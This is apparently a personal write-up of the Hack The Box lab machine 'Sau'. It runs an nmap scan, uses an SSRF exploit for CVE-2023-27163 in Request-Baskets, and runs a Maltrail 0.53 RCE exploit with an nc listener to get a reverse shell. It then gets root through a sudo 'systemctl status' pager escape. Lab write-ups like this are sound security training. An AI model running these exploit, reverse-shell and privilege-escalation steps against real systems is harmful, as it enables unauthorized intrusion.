Samuele Sciatore - Sep, 8, 2023
Samuele Sciatore
Samuele Sciatore - Sep, 8, 2023

In this walkthrough, important information such as hashes, passwords, etc. are censored (the length of the censored information can not correspond to the real length of the information)
nmap sau.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-10 13:29 CEST
Nmap scan report for sau.htb (10.10.11.224)
Host is up (0.058s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
55555/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 7.60 secondsIf we connect to port 55555 we notice that Requests Basket is used.
The port 80 is not reachable.
Requests Basket v <= 1.2.1 are vulnerable to CVE-2023-27163
So we download from GitHub a script to exploit this vulnerability.
sh CVE-2023-27163.sh http://10.10.11.224:55555/ http://127.0.0.1:80/
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> Creating the "****" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/**** now makes the server request to http://127.0.0.1:80/.
> Authorization: x*****Go to http://10.10.11.224:55555/**** and you will see a new page.

The new page says that are powered by Mailtrail v 0.53.
By simple research, you can find an exploit that allows RCE and so to obtain a reverse shell.
First start listening to a port with nc
nc -lvp 4444
Listening on 0.0.0.0 YOUR_PORTand the run the exploit
python3 exploit.py YOUR_IP YOUR_PORT http://10.10.11.224:55555//*****//login
Running exploit on http://10.10.11.224:55555/*****/loginand on the port you chose you will receive a connection, we have a reverse shell.
We get our shell!
Now we are user puma and we are connected to the remote host.
But we want to stabilize our shell to make it easy to use. I found this tutorial.
cd /home/puma
cat user.txt
9********bpuma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.serviceWe can run /usr/bin/systemctl status trail.service with sudo permissions without a password.
By research, I found a way to gain privilege root exploiting this misconfiguration
Run the command
sudo systemctl status example.serviceand then
!shwe are root!
cd /root
cat root.txt
1********0